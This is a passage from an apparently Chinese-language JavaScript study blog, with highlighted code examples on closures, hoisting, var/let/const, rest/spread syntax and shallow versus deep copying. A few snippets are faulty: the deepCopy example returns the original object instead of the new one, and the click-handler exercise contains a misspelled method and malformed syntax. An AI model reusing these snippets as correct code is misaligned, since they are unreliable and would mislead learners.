</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">invoke</span><span class="p">(</span><span class="nx">fn</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">200</span>
</span></span><span class="line"><span class="cl">  <span class="nx">fn</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">fn</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">invoke</span><span class="p">(</span><span class="nx">fn</span><span class="p">)</span> <span class="c1">//100
</span></span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Closures"  target="_blank" rel="noopener" >闭包 - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Classes/Private_properties"  target="_blank" rel="noopener" >私有属性 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="提升">提升</h2>
<h3 id="会被提升">会被提升</h3>
<ol>
<li>变量的声明会被提升到当前作用域的顶端</li>
<li>函数声明和初始化都会被提升</li>
</ol>
<h3 id="不会被提升">不会被提升</h3>
<ol>
<li>变量的初始化不会被提升</li>
<li>函数表达式不会被提升</li>
</ol>
<h3 id="顺序">顺序</h3>
<ol>
<li>函数提升在变量提升之前</li>
<li>变量被提升过后，先对提升上来的所有对象统一执行一遍声明步骤，然后再对变量执行一次赋值步骤。而执行赋值步骤时，会优先执行函数变量的赋值步骤，再执行普通变量的赋值步骤</li>
</ol>
<h3 id="示例-2">示例</h3>
<ol>
<li>示例一</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">hoistVariable</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="nx">foo</span> <span class="o">||</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// 5
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">hoistVariable</span><span class="p">();</span>
</span></span></code></pre></div><ol start="2">
<li>示例二：函数表达式不会被提升</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">square</span><span class="p">);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">square</span><span class="p">(</span><span class="mi">5</span><span class="p">));</span> <span class="c1">// square is not a function =》 初始化并未提升，此时 square 值为 undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">square</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">n</span> <span class="o">*</span> <span class="nx">n</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>示例二: 顺序</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 源代码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">b</span><span class="p">(){};</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span> <span class="c1">// number
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">//预编译后
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">b</span><span class="p">;</span>  <span class="c1">// =&gt; 声明一个function b
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">b</span><span class="p">;</span>       <span class="c1">// =》 声明一个变量 b
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">b</span> <span class="o">=</span> <span class="p">(){};</span>    <span class="c1">// =》 function b 初始化
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">b</span> <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>      <span class="c1">// =》 变量 b 初始化 =》变量初始化没有被提升，还在原位
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span>    <span class="c1">// number
</span></span></span></code></pre></div><ol start="4">
<li>示例三: 顺序</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="nx">a</span><span class="o">=</span><span class="nx">a</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="nx">a</span><span class="o">=</span><span class="nx">a</span><span class="o">+</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">d</span><span class="p">);</span> <span class="c1">//1，3，3，3
</span></span></span></code></pre></div><h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000038344251"  target="_blank" rel="noopener" >JavaScript变量提升和函数提升详解</a></li>
</ul>
<hr>
<h2 id="var-let-const">Var, Let, Const</h2>
<h3 id="作用域">作用域</h3>
<ul>
<li>var 声明是全局作用域或函数作用域</li>
<li>let 和 const 是块作用域。</li>
</ul>
<h3 id="变化">变化</h3>
<ul>
<li>var 变量可以在其作用域内更新和重新声明</li>
<li>let 变量可以更新但不能重新声明</li>
<li>const 变量既不能更新也不能重新声明。</li>
</ul>
<h3 id="提升-1">提升:</h3>
<ul>
<li>它们都被提升到了作用域的顶部。</li>
<li>var 变量是用 undefined 初始化的</li>
<li>而 let 和 const 变量不会被初始化,在代码实际执行到声明和初始化语句之前，它们的值是不可访问的。</li>
</ul>
<h3 id="声明">声明</h3>
<ul>
<li>var 和 let 可以在不初始化的情况下声明，而 const 必须在声明时初始化。</li>
<li>var可以重复声明
<ul>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">haha</span> <span class="o">=</span> <span class="s1">&#39;666&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">haha</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">haha</span><span class="p">);</span> <span class="c1">// 666
</span></span></span></code></pre></div></li>
<li>原因:
<ol>
<li>编译器在对代码进行拆解的时候，遇到了var定义的变量会首先询问作用域中是否存在这个变量</li>
<li>不存在就让作用域创建变量，如果存在就忽略var继续编译</li>
<li>赋值时haha=&lsquo;666&rsquo;被执行，第二个var haha被编译器忽略了。</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="示例-3">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">greeting</span> <span class="o">=</span> <span class="s2">&#34;say Hi&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">greeting</span> <span class="o">=</span> <span class="s2">&#34;say Hello instead&#34;</span><span class="p">;</span> <span class="c1">// error: Identifier &#39;greeting&#39; has already been declared
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">y</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span> <span class="c1">// y在if块内部可见
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">y</span><span class="p">);</span> <span class="c1">// 输出: 20
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">y</span><span class="p">);</span> <span class="c1">// 输出: 20
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">b</span><span class="p">;</span> <span class="c1">// Cannot access &#39;b&#39; before initialization
</span></span></span></code></pre></div><h3 id="输出题-1">输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">$body</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElemnetById</span><span class="p">(</span><span class="s1">&#39;body&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">i</span><span class="p">,</span> <span class="nx">length</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">domA</span>
</span></span><span class="line"><span class="cl">      <span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">domA</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="o">&lt;</span><span class="nx">a</span><span class="o">&gt;</span><span class="nx">$</span><span class="p">{</span><span class="nx">i</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/a&gt; )</span>
</span></span><span class="line"><span class="cl">      <span class="nx">$body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">domA</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="nx">domA</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">alert</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="p">})</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// 输出的都是5
</span></span></span></code></pre></div><ul>
<li>由于 i 是在循环外定义的，这里会导致在点击时总是弹出循环结束时的值（5）</li>
<li>可以通过使用闭包或 let 来解决这个问题。</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/"  target="_blank" rel="noopener" >Var, Let, and Const – What&rsquo;s the Difference?</a></li>
</ul>
<hr>
<h2 id="rest参数-与-spread-语法">Rest参数 与 Spread 语法</h2>
<ul>
<li>参考<a href="https://zh.javascript.info/rest-parameters-spread"  target="_blank" rel="noopener" >Rest 参数与 Spread 语法</a></li>
<li>Rest参数用来从参数列表中获取数组</li>
<li>Rest 参数必须放到参数列表的末尾</li>
<li>箭头函数没有 &ldquo;arguments&rdquo;</li>
<li>spread 语法把数组转换为参数列表</li>
<li>举例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// Rest参数用来从参数列表中获取数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">sumAll</span> <span class="o">=</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">arg</span> <span class="k">of</span> <span class="nx">args</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nx">sum</span> <span class="o">+=</span> <span class="nx">arg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">sum</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">sumAll</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// spread 语法把数组转换为参数列表
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">sumAll</span><span class="p">(...</span><span class="nx">array</span><span class="p">)</span>
</span></span></code></pre></div><h2 id="深拷贝和浅拷贝">深拷贝和浅拷贝</h2>
<h3 id="数据存储">数据存储</h3>
<ol>
<li>基本类型数据保存在在栈内存中</li>
<li>引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中</li>
</ol>
<h3 id="浅拷贝">浅拷贝</h3>
<ul>
<li>
<p>定义: 只复制属性指向某个对象的指针，而不复制对象本身，新旧对象还是共享同一块内存，修改对象属性会影响原对象</p>
</li>
<li>
<p>区别于<code>=</code>:</p>
<ul>
<li><code>=</code>赋值操作只是复制引用，两个变量指向同一个对象。</li>
<li>浅拷贝创建一个新对象，但对于嵌套的引用类型仍然共享同一个引用。</li>
</ul>
</li>
<li>
<p>实现一</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">shallowCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">obj</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newObj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">key</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">newObj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">newObj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>实现二</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">shallowCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">{...</span><span class="nx">obj</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>实现三</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">a</span><span class="o">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">b</span><span class="o">:</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Object.assign: 将源对象的可枚举属性复制到目标对象，适合合并多个对象。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">obj1</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({},</span><span class="nx">obj</span><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="深拷贝">深拷贝</h3>
<ul>
<li>定义: 创造一个一模一样的对象，新对象跟原对象不共享内存，修改新对象不会影响原对象</li>
<li>实现一
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">deepCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">obj</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newObj</span> <span class="o">=</span> <span class="nx">obj</span> <span class="k">instanceof</span> <span class="nb">Array</span> <span class="o">?</span> <span class="p">[]</span> <span class="o">:</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">key</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">newObj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">deepCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>缺陷:
<ol>
<li>无法处理循环引用</li>
<li>递归爆栈</li>
</ol>
</li>
</ul>
</li>
<li>实现二:
<ul>
<li>代码</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">cloneForce</span><span class="p">(</span><span class="nx">x</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">uniqueList</span> <span class="o">=</span> <span class="p">[];</span> <span class="c1">// 用来去重
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kd">let</span> <span class="nx">root</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 栈
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kr">const</span> <span class="nx">loopList</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">parent</span><span class="o">:</span> <span class="nx">root</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">key</span><span class="o">:</span> <span class="kc">undefined</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">data</span><span class="o">:</span> <span class="nx">x</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="nx">loopList</span><span class="p">.</span><span class="nx">length</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// dfs
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kr">const</span> <span class="nx">node</span> <span class="o">=</span> <span class="nx">loopList</span><span class="p">.</span><span class="nx">pop</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="p">{</span><span class="nx">parent</span><span class="p">,</span> <span class="nx">key</span><span class="p">,</span> <span class="nx">data</span><span class="p">}</span> <span class="o">=</span> <span class="nx">node</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 初始化赋值目标
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">parent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">key</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span> <span class="o">=</span> <span class="nx">parent</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="kd">let</span> <span class="nx">uniqueData</span> <span class="o">=</span> <span class="nx">find</span><span class="p">(</span><span class="nx">uniqueList</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">uniqueData</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 数据已经存在
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">parent</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">uniqueData</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 数据不存在
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">uniqueList</span><span class="p">.</span><span class="nx">push</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">            <span class="nx">source</span><span class="o">:</span> <span class="nx">data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">target</span><span class="o">:</span> <span class="nx">res</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">k</span> <span class="k">in</span> <span class="nx">data</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">k</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">loopList</span><span class="p">.</span><span class="nx">push</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">parent</span><span class="o">:</span> <span class="nx">res</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">key</span><span class="o">:</span> <span class="nx">k</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">data</span><span class="o">:</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="p">});</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">res</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">root</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">find</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="nx">item</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">source</span> <span class="o">===</span> <span class="nx">item</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>clone
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">clone</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyDescriptors</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
